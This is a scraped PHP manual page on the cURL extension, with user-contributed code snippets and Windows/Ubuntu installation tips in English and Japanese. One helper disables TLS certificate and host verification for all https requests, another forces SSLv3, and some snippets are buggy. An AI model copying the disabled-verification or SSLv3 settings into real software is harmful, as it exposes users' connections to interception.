    $ssl = stripos($url,'https://') === 0 ? true : false;
    $options = [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_POST => 1,
        CURLOPT_POSTFIELDS => $data,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_AUTOREFERER => 1,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)',
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
        CURLOPT_HTTPHEADER => ['Expect:'],
        CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4,
        CURLOPT_REFERER => $refer
    ];
    if (!empty($header)) {
        $options[CURLOPT_HTTPHEADER] = $header;
    }
    if ($refer) {
        $options[CURLOPT_REFERER] = $refer;
    }
    if ($ssl) {
        //support https
        $options[CURLOPT_SSL_VERIFYHOST] = false;
        $options[CURLOPT_SSL_VERIFYPEER] = false;
    }
    curl_setopt_array($curlObj, $options);
    $returnData = curl_exec($curlObj);
    if (curl_errno($curlObj)) {
        //error message
        $returnData = curl_error($curlObj);
    }
    curl_close($curlObj);
    return $returnData;
}

$getRes = getRequest("https://secure.php.net/");
echo $getRes;//Get index page html of php.net

$postRes = postRequest("https://secure.php.net/",[]);
echo $postRes;
yann at ykweyer dot fr 11-Jul-2016 08:37
If you need to send an array of files using CURL (typical case: POST variable to a REST API), having an array of CURLFiles in the POSTFIELD won't work. You have to set as many variables in your postfield than there are files to send:

<?php
// Won't work:
$postfields = array(
    'files' => array(
        new CURLFile($path1),
        new CURLFile($path2),
        //...
    )
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);

// Use this instead:
$postfields = array(
    'files[0]' => new CURLFile($path1),
    'files[1]' => new CURLFile($path2),
    //...
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
?>
gmail@asmqb7 29-Mar-2016 10:48
WARNING WARNING

In this example: http://php.net/manual/en/book.curl.php#102885 by "frank at interactinet dot com"

There's a small bug in

<?php

         ...

         elseif($status == $httpCode)
            {
                return TRUE;
            }

            return FALSE;
            pcntl_wait($status); //Protect against Zombie children
        } else {
            // we are the child
            while(microtime(true) < $expire)

         ...

?>

The code will immediately leave the function at the `return`, and pcntl_wait() will NEVER be executed, under any circumstances.

I can't see any other issues with this function however.
romet 20-Apr-2015 10:30
/*
Example values
url - 'http://example.com'
fields - array('var' => 'value'), or can be empty
auth - 'user:password', or can be empty
by romet, 4.20.2015
*/
function curl($url, $fields = array(), $auth = false){

    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_VERBOSE, 1);
    curl_setopt($curl, CURLOPT_HEADER, 1);

    if($auth){
        curl_setopt($curl, CURLOPT_USERPWD, "$auth");
        curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
    }

    if($fields){
        $fields_string = http_build_query($fields);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_BINARYTRANSFER, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $fields_string);
    }

    $response = curl_exec($curl);
    $header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
    $header_string = substr($response, 0, $header_size);
    $body = substr($response, $header_size);

    $header_rows = explode(PHP_EOL, $header_string);
    $header_rows = array_filter($header_rows, trim);
    foreach((array)$header_rows as $hr){
        $colonpos = strpos($hr, ':');
        $key = $colonpos !== false ? substr($hr, 0, $colonpos) : (int)$i++;
        $headers[$key] = $colonpos !== false ? trim(substr($hr, $colonpos+1)) : $hr;
    }
    foreach((array)$headers as $key => $val){
        $vals = explode(';', $val);
        if(count($vals) >= 2){
            unset($headers[$key]);
            foreach($vals as $vk => $vv){
                $equalpos = strpos($vv, '=');
                $vkey = $equalpos !== false ? trim(substr($vv, 0, $equalpos)) : (int)$j++;
                $headers[$key][$vkey] = $equalpos !== false ? trim(substr($vv, $equalpos+1)) : $vv;
            }
        }
    }
    //print_rr($headers);
    curl_close($curl);
    return array($body, $headers);
}

list($d['body'], $d['headers']) = curl2('http://google.com', array(q => '123'));
//POST to google.com with POST var "q" as "123"

echo '<pre>';
print_r($d);

---------

OUTPUT:

Array
(
    [headers] => Array
        (
            [0] => HTTP/1.1 405 Method Not Allowed
            [Allow] => GET, HEAD
            [Date] => Mon, 20 Apr 2015 22:20:10 GMT
            [Server] => gws
            [Content-Length] => 1453
            [X-Frame-Options] => SAMEORIGIN
            [Alternate-Protocol] => 80:quic,p=1
            [Content-Type] => Array
                (
                    [0] => text/html
                    [charset] => UTF-8
                )

            [X-XSS-Protection] => Array
                (
                    [1] => 1
                    [mode] => block
                )

        )

    [body] => <!DOCTYPE html>...etc

)
qrworld.net 11-Nov-2014 04:41
Here you have a function that I use to get the content of a URL using cURL:

function getUrlContent($url){
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)');
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
 $data = curl_exec($ch);
 $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
 curl_close($ch);
 return ($httpcode>=200 && $httpcode<300) ? $data : false;
}

The source comes from this website:

http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url.html
fred dot knieper at gmail dot com 16-Dec-2013 04:07
After a lot of frustration with the fact that nobody has documented which curl commandline options go with which library functions, I discovered that the curl commandline will tell you (in the form of a C program) if you add `--libcurl foo.c`

If you've been struggling with trying to figure out how to get your fancy curl commandline to work in PHP, this makes it a breeze!
mkucera66 at seznam dot cz 26-Aug-2013 11:02
FYI cURL support (default enabled, ok) is prerequisite for Installation and Configuration of the Collection Extension of wiki portal.
arturo at midnightvip dot com 12-Jun-2013 10:56
Hey I modified script for php 5. Also I add support server auth. and fixed some little bugs on the script.

<?php
 class mycurl {
     protected $_useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1';
     protected $_url;
     protected $_followlocation;
     protected $_timeout;
     protected $_maxRedirects;
     protected $_cookieFileLocation = './cookie.txt';
     protected $_post;
     protected $_postFields;
     protected $_referer ="http://www.midnightvip.com";

     protected $_session;
     protected $_webpage;
     protected $_includeHeader;
     protected $_noBody;
     protected $_status;
     protected $_binaryTransfer;
     public    $authentication = 0;
     public    $auth_name      = '';
     public    $auth_pass      = '';

     public function useAuth($use){
       $this->authentication = 0;
       if($use == true) $this->authentication = 1;
     }

     public function setName($name){
       $this->auth_name = $name;
     }
     public function setPass($pass){
       $this->auth_pass = $pass;
     }

     public function __construct($url,$followlocation = true,$timeOut = 30,$maxRedirecs = 4,$binaryTransfer = false,$includeHeader = false,$noBody = false)
     {
         $this->_url = $url;
         $this->_followlocation = $followlocation;
         $this->_timeout = $timeOut;
         $this->_maxRedirects = $maxRedirecs;
         $this->_noBody = $noBody;
         $this->_includeHeader = $includeHeader;
         $this->_binaryTransfer = $binaryTransfer;

         $this->_cookieFileLocation = dirname(__FILE__).'/cookie.txt';

     }

     public function setReferer($referer){
       $this->_referer = $referer;
     }

     public function setCookiFileLocation($path)
     {
         $this->_cookieFileLocation = $path;
     }

     public function setPost ($postFields)
     {
        $this->_post = true;
        $this->_postFields = $postFields;
     }

     public function setUserAgent($userAgent)
     {
         $this->_useragent = $userAgent;
     }

     public function createCurl($url = 'nul')
     {
        if($url != 'nul'){
          $this->_url = $url;
        }

         $s = curl_init();

         curl_setopt($s,CURLOPT_URL,$this->_url);
         curl_setopt($s,CURLOPT_HTTPHEADER,array('Expect:'));
         curl_setopt($s,CURLOPT_TIMEOUT,$this->_timeout);
         curl_setopt($s,CURLOPT_MAXREDIRS,$this->_maxRedirects);
         curl_setopt($s,CURLOPT_RETURNTRANSFER,true);
         curl_setopt($s,CURLOPT_FOLLOWLOCATION,$this->_followlocation);
         curl_setopt($s,CURLOPT_COOKIEJAR,$this->_cookieFileLocation);
         curl_setopt($s,CURLOPT_COOKIEFILE,$this->_cookieFileLocation);

         if($this->authentication == 1){
           curl_setopt($s, CURLOPT_USERPWD, $this->auth_name.':'.$this->auth_pass);
         }
         if($this->_post)
         {
             curl_setopt($s,CURLOPT_POST,true);
             curl_setopt($s,CURLOPT_POSTFIELDS,$this->_postFields);

         }

         if($this->_includeHeader)
         {
               curl_setopt($s,CURLOPT_HEADER,true);
         }

         if($this->_noBody)
         {
             curl_setopt($s,CURLOPT_NOBODY,true);
         }
         /*
         if($this->_binary)
         {
             curl_setopt($s,CURLOPT_BINARYTRANSFER,true);
         }
         */
         curl_setopt($s,CURLOPT_USERAGENT,$this->_useragent);
         curl_setopt($s,CURLOPT_REFERER,$this->_referer);

         $this->_webpage = curl_exec($s);
                   $this->_status = curl_getinfo($s,CURLINFO_HTTP_CODE);
         curl_close($s);

     }

   public function getHttpStatus()
   {
       return $this->_status;
   }

   public function __tostring(){
      return $this->_webpage;
   }
}
?>
madhouse-network at hotmail dot com 21-Apr-2011 01:51
curl does not seem to work with SSL TLS (FTPES)

It will throw the following error:

(1) Protocol ftpes not supported or disabled in libcurl
frank at interactinet dot com 11-Mar-2011 09:29
I wrote the following to see if a submitted URL has a valid http response code and also if it responds quickly.

Use the code like this:

<?php
$is_ok = http_response($url); // returns true only if http response code < 400
?>

The second argument is optional, and it allows you to check for  a specific response code

<?php
http_response($url,'400'); // returns true if http status is 400
?>

The third allows you to specify how long you are willing to wait for a response.

<?php
http_response($url,'200',3); // returns true if the response takes less than 3 seconds and the response code is 200
?>

<?php
function http_response($url, $status = null, $wait = 3)
{
        $time = microtime(true);
        $expire = $time + $wait;

        // we fork the process so we don't have to wait for a timeout
        $pid = pcntl_fork();
        if ($pid == -1) {
            die('could not fork');
        } else if ($pid) {
            // we are the parent
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_NOBODY, TRUE); // remove body
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            $head = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);

            if(!$head)
            {
                return FALSE;
            }

            if($status === null)
            {
                if($httpCode < 400)
                {
                    return TRUE;
                }
                else
                {
                    return FALSE;
                }
            }
            elseif($status == $httpCode)
            {
                return TRUE;
            }

            return FALSE;
            pcntl_wait($status); //Protect against Zombie children
        } else {
            // we are the child
            while(microtime(true) < $expire)
            {
            sleep(0.5);
            }
            return FALSE;
        }
    }
?>

Hope this example helps.  It is not 100% tested, so any feedback [sent directly to me by email] is appreciated.
shidec00 at yahoo dot com 19-Jan-2011 02:55
This anomali only happen on windows.
Server indicates that some variables built by http_build_query() is missing.

<?php
//...
//...
//...
$ping_url = $this->sx_url.'ping.php?'.http_build_query($options);
$message = $this->_post_curl($ping_url);
?>

After debugging i found that $ping_url contain url like :

http://example.com/ping.php?app=1&amp;key=mail&amp;ttd=df52861e

But myserver give "No ttd GET variable" response

This problem fixed by adding optional parameter to make sure that http_build_query() use only '&' as arg separator rather than '&amp;'

<?php
//...
//...
//...
$ping_url = $this->sx_url.'ping.php?'.http_build_query($options,'','&');
$message = $this->_post_curl($ping_url);
?>
ramez at dot dontspan dot zegenie dot com 27-Oct-2010 09:19
CURL failed with PHP5.3 and Apache2.2.X on my Windows 7 machine.

It turns out that it's not enough to copy the two dll's mentioned (libeay32 and sslea32) from the php folder into your system32 folder. You HAVE TO UNBLOCK THESE TWO FILES.

Right click the file, select unblock, for each one. Then restart Apache.

Another very handy security feature added into Windows.
artax_N_O_S_P_A_M_erxes2 at iname dot com 17-Sep-2010 08:59
I needed to use cURL in a php script to download data using not only SSL for the server authentication but also for client authentication.
On a default install of Fedora, setting up the proper cURL parameters, I would get an error:

$ php curl.php
 Peer certificate cannot be authenticated with known CA certificates

The data on http://curl.haxx.se/docs/sslcerts.html was most useful. Indeed, toward to bottom it tells you to add a missing link inside /etc/pki/nssdb to use the ca-bundle.crt file. You do it so:

# cd /etc/pki/nssdb
# ln -s /usr/lib64/libnssckbi.so libnssckbi.so

Now you can do client authentication, provided you have your certificate handy with:

<?php
$data = "<soap:Envelope>[...]</soap:Envelope>";
$tuCurl = curl_init();
curl_setopt($tuCurl, CURLOPT_URL, "https://example.com/path/for/soap/url/");
curl_setopt($tuCurl, CURLOPT_PORT , 443);
curl_setopt($tuCurl, CURLOPT_VERBOSE, 0);
curl_setopt($tuCurl, CURLOPT_HEADER, 0);
curl_setopt($tuCurl, CURLOPT_SSLVERSION, 3);
curl_setopt($tuCurl, CURLOPT_SSLCERT, getcwd() . "/client.pem");
curl_setopt($tuCurl, CURLOPT_SSLKEY, getcwd() . "/keyout.pem");
curl_setopt($tuCurl, CURLOPT_CAINFO, getcwd() . "/ca.pem");
curl_setopt($tuCurl, CURLOPT_POST, 1);
curl_setopt($tuCurl, CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($tuCurl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($tuCurl, CURLOPT_POSTFIELDS, $data);
curl_setopt($tuCurl, CURLOPT_HTTPHEADER, array("Content-Type: text/xml","SOAPAction: \"/soap/action/query\"", "Content-length: ".strlen($data)));

$tuData = curl_exec($tuCurl);
if(!curl_errno($tuCurl)){
  $info = curl_getinfo($tuCurl);
  echo 'Took ' . $info['total_time'] . ' seconds to send a request to ' . $info['url'];
} else {
  echo 'Curl error: ' . curl_error($tuCurl);
}

curl_close($tuCurl);
echo $tuData;
?>
cliffclof atty gmail dotty com 05-Apr-2010 02:21
A solution that addresses repeat calls to the same set of urls using the same connection simulating frequent ajax calls in separate browser tabs.

In a unique situation you may need to set a cookie then use that cookie for multiple separate persistent connections using the same session cookie.  The problem is the session cookie may change while your doing your persistent calls.  If you set every curl handle to update a shared cookiejar on close you may overwrite the new found session value with the old session value depending on the closing order of your handles. Also, because the cookiejar is only written to on a curl_close, you may be using dissimilar or old session info in some of your 'faked browser tabs'.

To solve this problem I created a unique handle that opens and closes specifically to set a cookie file using CURLOPT_COOKIEJAR. Then I just use the read-only CURLOPT_COOKIEFILE on the multiple separate persistent handles.

This solves the problem of shared cookies fighting to write their values and keep persistent calls using the most up to date cookie information.

Note: In my case the multiple calls were in a while loop and I was using php in shell.  The session cookie value plus browser type limited the number of connections available and i wanted to use the max connections per session.
artem at zabsoft dot co dot in 11-May-2009 11:43
Hey I modified script for php 5. Also I add support server auth. and fixed some little bugs on the script.

[EDIT BY danbrown AT php DOT net: Original was written by (unlcuky13 AT gmail DOT com) on 19-APR-09.  The following note was included:
Below is the my way of using through PHP 5 objecte oriented encapsulation to make thing easier.]

<?php
 class mycurl {
     protected $_useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1';
     protected $_url;
     protected $_followlocation;
     protected $_timeout;
     protected $_maxRedirects;
     protected $_cookieFileLocation = './cookie.txt';
     protected $_post;
     protected $_postFields;
     protected $_referer ="http://www.google.com";

     protected $_session;
     protected $_webpage;
     protected $_includeHeader;
     protected $_noBody;
     protected $_status;
     protected $_binaryTransfer;
     public    $authentication = 0;
     public    $auth_name      = '';
     public    $auth_pass      = '';

     public function useAuth($use){
       $this->authentication = 0;
       if($use == true) $this->authentication = 1;
     }

     public function setName($name){
       $this->auth_name = $name;
     }
     public function setPass($pass){
       $this->auth_pass = $pass;
     }

     public function __construct($url,$followlocation = true,$timeOut = 30,$maxRedirecs = 4,$binaryTransfer = false,$includeHeader = false,$noBody = false)
     {
         $this->_url = $url;
         $this->_followlocation = $followlocation;
         $this->_timeout = $timeOut;
         $this->_maxRedirects = $maxRedirecs;
         $this->_noBody = $noBody;
         $this->_includeHeader = $includeHeader;
         $this->_binaryTransfer = $binaryTransfer;

         $this->_cookieFileLocation = dirname(__FILE__).'/cookie.txt';

     }

     public function setReferer($referer){
       $this->_referer = $referer;
     }

     public function setCookiFileLocation($path)
     {
         $this->_cookieFileLocation = $path;
     }

     public function setPost ($postFields)
     {
        $this->_post = true;
        $this->_postFields = $postFields;
     }

     public function setUserAgent($userAgent)
     {
         $this->_useragent = $userAgent;
     }

     public function createCurl($url = 'nul')
     {
        if($url != 'nul'){
          $this->_url = $url;
        }

         $s = curl_init();

         curl_setopt($s,CURLOPT_URL,$this->_url);
         curl_setopt($s,CURLOPT_HTTPHEADER,array('Expect:'));
         curl_setopt($s,CURLOPT_TIMEOUT,$this->_timeout);
         curl_setopt($s,CURLOPT_MAXREDIRS,$this->_maxRedirects);
         curl_setopt($s,CURLOPT_RETURNTRANSFER,true);
         curl_setopt($s,CURLOPT_FOLLOWLOCATION,$this->_followlocation);
         curl_setopt($s,CURLOPT_COOKIEJAR,$this->_cookieFileLocation);
         curl_setopt($s,CURLOPT_COOKIEFILE,$this->_cookieFileLocation);

         if($this->authentication == 1){
           curl_setopt($s, CURLOPT_USERPWD, $this->auth_name.':'.$this->auth_pass);
         }
         if($this->_post)
         {
             curl_setopt($s,CURLOPT_POST,true);
             curl_setopt($s,CURLOPT_POSTFIELDS,$this->_postFields);

         }

         if($this->_includeHeader)
         {
               curl_setopt($s,CURLOPT_HEADER,true);
         }

         if($this->_noBody)
         {
             curl_setopt($s,CURLOPT_NOBODY,true);
         }
         /*
         if($this->_binary)
         {
             curl_setopt($s,CURLOPT_BINARYTRANSFER,true);
         }
         */
         curl_setopt($s,CURLOPT_USERAGENT,$this->_useragent);
         curl_setopt($s,CURLOPT_REFERER,$this->_referer);

         $this->_webpage = curl_exec($s);
                   $this->_status = curl_getinfo($s,CURLINFO_HTTP_CODE);
         curl_close($s);

     }

   public function getHttpStatus()
   {
       return $this->_status;
   }

   public function __tostring(){
      return $this->_webpage;
   }
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by "roetsch.beni at googlemail (dot) com" on 02-AUG-09, with the following note: "Fixes the bugfix: 417 bug at lighthttp server."]
admin at jeremyzaretski dot com 18-Mar-2009 08:14
I wanted to create a script that acted as a bridge between an external server and an internal server, wherein the internal server was not connected to the internet, but had information required by the users connecting to the external server. I hatched the idea to use curl to connect from the external server to the internal server (using request variables to send queries) and return everything (data and headers) returned by the file server.

After being driven mad by segmentation faults and crashes because the curl_exec didn't like me having the CURLOPT_HEADERFUNCTION's function directly dumping the header:

<?php
function Duplicate_Header($curl, $header)
{
    header($header);
    return strlen($header);
}
?>

... I tried (on a whim) duplicating and trimming the header and passing the duplicate to the header function...

<?php
function Duplicate_Header($curl, $header)
{
    $duplicate = trim($header);
    header($duplicate);
    return strlen($header);
}
?>

Which worked just fine. I don't know if this is just some quirk of PHP4 or my lack of understanding of how the curl and header function works.
pyromus at gmail dot com 16-Oct-2008 04:37
You can use this class for fast entry

<?php
class cURL {
var $headers;
var $user_agent;
var $compression;
var $cookie_file;
var $proxy;
function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') {
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;CHARSET=shift-jis';
$this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if ($this->cookies == TRUE) $this->cookie($cookie);
}
function cookie($cookie_file) {
if (file_exists($cookie_file)) {
$this->cookie_file=$cookie_file;
} else {
fopen($cookie_file,'w') or $this->error('The cookie file could not be opened. Make sure this directory has the correct permissions');
$this->cookie_file=$cookie_file;
fclose($this->cookie_file);
}
}
function get($url) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process,CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function post($url,$data) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 1);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($process, CURLOPT_POST, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
$cc = new cURL();
$cc->get('http://www.example.com');
$cc->post('http://www.example.com','foo=bar');
?>

[EDIT BY danbrown AT php DOT net: Includes a bugfix provided by "Anonymous" on 01-Dec-2008 @ 06:52.  Also replaced real URL with example.com as per RFC 2606.]

[EDIT BY danbrown AT php DOT net: Includes a bugfix provided by (manuel AT rankone DOT ch) on 24-NOV-09 to properly reference cURL initialization.]
eflash at gmx dot net 05-Oct-2008 09:45
In order to use curl with secure sites you will need a ca-bundle.crt file; here's a PHP script I've written which creates a fresh ca-bundle:
http://www.gknw.net/php/phpscripts/mk-ca-bundle.php
I've also written scripts in other languages, f.e. the Perl one which ships now with curl distributions:
http://curl.haxx.se/lxr/source/lib/mk-ca-bundle.pl
and also a Win32 WSH script if you prefer that:
http://www.gknw.net/vb/scripts/mk-ca-bundle.vbs

HTH, Guenter.


はじめに

PHP は、Daniel Stenbergにより開発されたライブラリlibcurl をサポートします。 このライブラリにより、多くの異なったプロトコルで様々なサーバーと接続し、 通信することが可能になります。libcurl は現在 http, https, ftp, gopher, telnet, dict, file, ldap プロトコルをサポートしてします。libcurl は HTTPS 認証、HTTP POST、HTTP PUT、FTP アップロード(これはPHPのftp拡張機能でも実行可能です)、 HTTPフォームによるアップロード、プロキシ、クッキー、 ユーザー名+パスワードによる認証もサポートします。

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP の cURL 関数を使用するためには、» libcurl パッケージをインストールしておく必要があります。PHP は、 libcurl 7.10.5 以降を必要とします。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP の cURL サポート機能を使用するには、--with-curl[=DIR] を付けて PHP をコンパイル しておく必要があります。ただし、DIR は、ディレクトリ lib および include を有するディレクトリの場所となります。 ディレクトリ include には、curl という名前のフォルダがある 必要があり、そのフォルダにはファイル easy.h および curl.h がある必要が あります。libcurl.a という名前のファイルがディレクトリ lib にある必要があります。PHP 5.5.0 より前のバージョンでは、URL ストリームで cURL を使用するよう PHP を 設定するために --with-curlwrappers を指定可能でした。

注意: Win32 ユーザーへの注意
このモジュールを Windows 環境で使用可能とするには、 libeay32.dll および ssleay32.dll、 もしくは OpenSSL 1.1 以降では libcrypto-*.dll および libssl-*.dll が PATH の通った場所に存在する必要があります。 また、libssh2.dll も PATH の通った場所になければなりません。 cURL のサイトにある libcurl.dll は不要です。

User Contributed Notes

sharif dot golang at gmail dot com 04-Feb-2021 02:11
I tried with that and it's properly works.
dave at omgomg dot co dot uk 21-Aug-2020 07:56
To get curl working on win64 with apache 2.4 and php 7.4 i had to add to the path
C:\Apache24\bin\
C:\php\
Windows+ 10-Apr-2020 09:33
if you cant solve this "Fatal error: Uncaught Error: Call to undefined function curl_init()" on WINDOWS

Try add to this strings to apache config (httpd.conf):

LoadFile "C:\Program Files\Apache\php\libssh2.dll"
LoadFile "C:\Program Files\Apache\php\libcrypto-1_1-x64.dll"
LoadFile "C:\Program Files\Apache\php\libssl-1_1-x64.dll"

and restart apache (dont forget to use your php folder name);

Moving this files to apache or windows folder, dont work for me:

libeay32.dll (libcrypto-*.dll)
libssh2.dll
ssleay32.dll (libssl-*.dll)
Greg 27-Dec-2019 06:30
For those who may be having WordPress issues relating to curl, the answer for me was that the curl.cainfo wasn't specified in the config.  This resulted in a plugin giving some non-graceful errors for which I was finally able to track it down.

curl.cainfo = "C:\php\extras\ssl\cacert.pem"

You'll need a copy of the cacert.pem (doesn't come with PHP and does need to be updated every so often can be found at an official permalink of:
https://curl.haxx.se/ca/cacert.pem

They use a modified version of Mozilla's certificate store meant to work with libcurl.

I'm not an expert, this is just what fixed the errors for me.

(cacert.pem lists official root certificate providers so your computer knows which ones its safe to authenticate against is my lay interpretation.  I'm sure it's not technically accurate but close enough for us lay people.)
Tovster 23-Jun-2019 10:06
I had curl not working in Windows with Apache 2.4 and PHP 7.3 - Strangly phpinfo showed author but not curl section/panel.

I changed the widows path to include the PHP directory and after a reboot it started working.

You can change the windows path in Control Panel -> System -> Advanced System Settings -> Advanced -> Environment Variables  then edit the path variable in "System Variables"
Anonymous 08-Mar-2018 10:46
Hi.
This is test email from Jay Cutler.
i am a body builder.
1004707812 at qq dot com 08-Feb-2018 06:32
Win10 64bit, php7 x64,apache x64
It's important to set " extension_dir = "X:/WAMP/php/ext" " clearly in php.ini .
Remember some names of dll has changed recently, specially in the  x64 environment.
anonymous 26-Jan-2018 10:38
Upgrading to php 7.1.6 on Apache 2.4 32bit version Windows 7 x64

this curl  implementation works:

1.   C:/(path to php folder)/php.ini
enable extension=php_curl.dll

libeay32.dll, ssleay32.dll, libssh2.dll find directly in php7 folder

2. add this to Apache/conf/httpd.conf
# load curl and open ssl libraries
LoadFile "C:/(path to php folder)/libeay32.dll"
LoadFile "C:/(path to php folder)/ssleay32.dll"
LoadFile "C:/(path to php folder)/libssh2.dll"
epos_jk 27-Nov-2017 04:22
You dont need to copy files to use PHP CURL with Apache 2.4 - use the LoadFile directive in your apache config file instead:
LoadFile "C:/php7/libssh2.dll"
(that was all it took for me to get it work)
epos_jk 27-Nov-2017 04:21
Beginning with version 1.1.0 OpenSSL did change their libary names!
libeay32.dll is now libcrypto-*.dll (e.g. libcrypto-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
ssleay32.dll is now libssl-*.dll (e.g. libssl-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
karliskavacis at gmail dot com 22-Feb-2016 08:07
In my case, while running Windows 10 and Apache Httpd 2.4, I had to add my PHP7 root directory to Windows PATH and it resolved issues with failing to load couple of PHP extensions.
lymer at ca dot ibm dot com 29-Jul-2015 07:09
For Windows 7 (64 bit), ensure you not only enable the curl extension (i.e. uncomment "extension=php_curl.dll" in php.ini) as described in this manual, but also set the extension directory for Windows (e.g. extension_dir = "ext") in the php.ini file.  Adding / copying dll files or changing the system path were not necessary.  (Versions used: Apache 2.4.1 (Win64) and PHP 5.5.15.)
Developtus.com 29-May-2015 03:38
Upgrading to php 5.6.9 on Windows 7 x64 curl no longer is recognised. No errors on server start package just not available and didn't show in phpinfo.php. deplister.exe was ok
I fixed coping the following list files from php folder (in my case D:\xampp\php)
libeay32.dll
libssh2.dll
ssleay32.dll
to c:\xampp\apache\bin (or your apache\bin path), restart apache and works fine, apache's libraries were outdated
jorijnsmit at gmail dot com 22-Mar-2014 06:44
It is not necessary to always (re)compile PHP. For me it was sufficient to install php5-curl and restart Apache:

$ sudo apt-get install php5-curl
$ sudo /etc/init.d/apache2 restart
TristanV 13-Dec-2013 11:41
If you are running on Windows with a Wampserver or alike preconfigured PHP, if you did everything that was advised (path is correct, dlls are in the System32 or the Wow64 folder, php_curl extension uncommented in the php.ini, rebooted your machine and restarted your services), and you still receive messages saying that curl is not installed :
- maybe you are running a command line script (and not a curl instruction within a web application). If yes, remember that there are 2 distinct php.ini configuration files : one for the php-cli commands (run php at command line) and one for the php instructions (run from a page in your www folder).
Wampserver's menuitem "php.ini" only opens the webserver's php.ini, not the php-cli one.
So it will be great to check your php-cli's php.ini configuration file ! (you'll find it in the php.exe's installation folder)
You need to uncomment the extension php_curl in this php.ini file for the command lines to work with curl.
Also uncomment the php_openssl extention by the way (often used with curl).
I hope this fixed issue will help someone else :)
jmichieli76 at yahoo dot ca 18-Jun-2012 02:03
It should be noted that on a standard installation of php 5.2.17 on windows has this functionality installed and enabled by default.
Joseph Marlin 13-Jun-2011 10:57
Ubuntu 11.04

I already had Apache and PHP5 setup, but simply adding php5-curl and curl did *not* work. I also had to get libcurl3 and libcurl3-dev. The full command:

sudo apt-get install curl libcurl3 libcurl3-dev php5-curl

You'll know if it works because phpinfo() will get a new section with Curl info.
wixelbomb at yahoo dot com 28-Dec-2009 11:17
Just an additional note for Windows XP installations ...

The instructions others have courteously given still lack one small item for those who have the Windows/system32 directory as the repository for the .dll files concerned with php_curl.

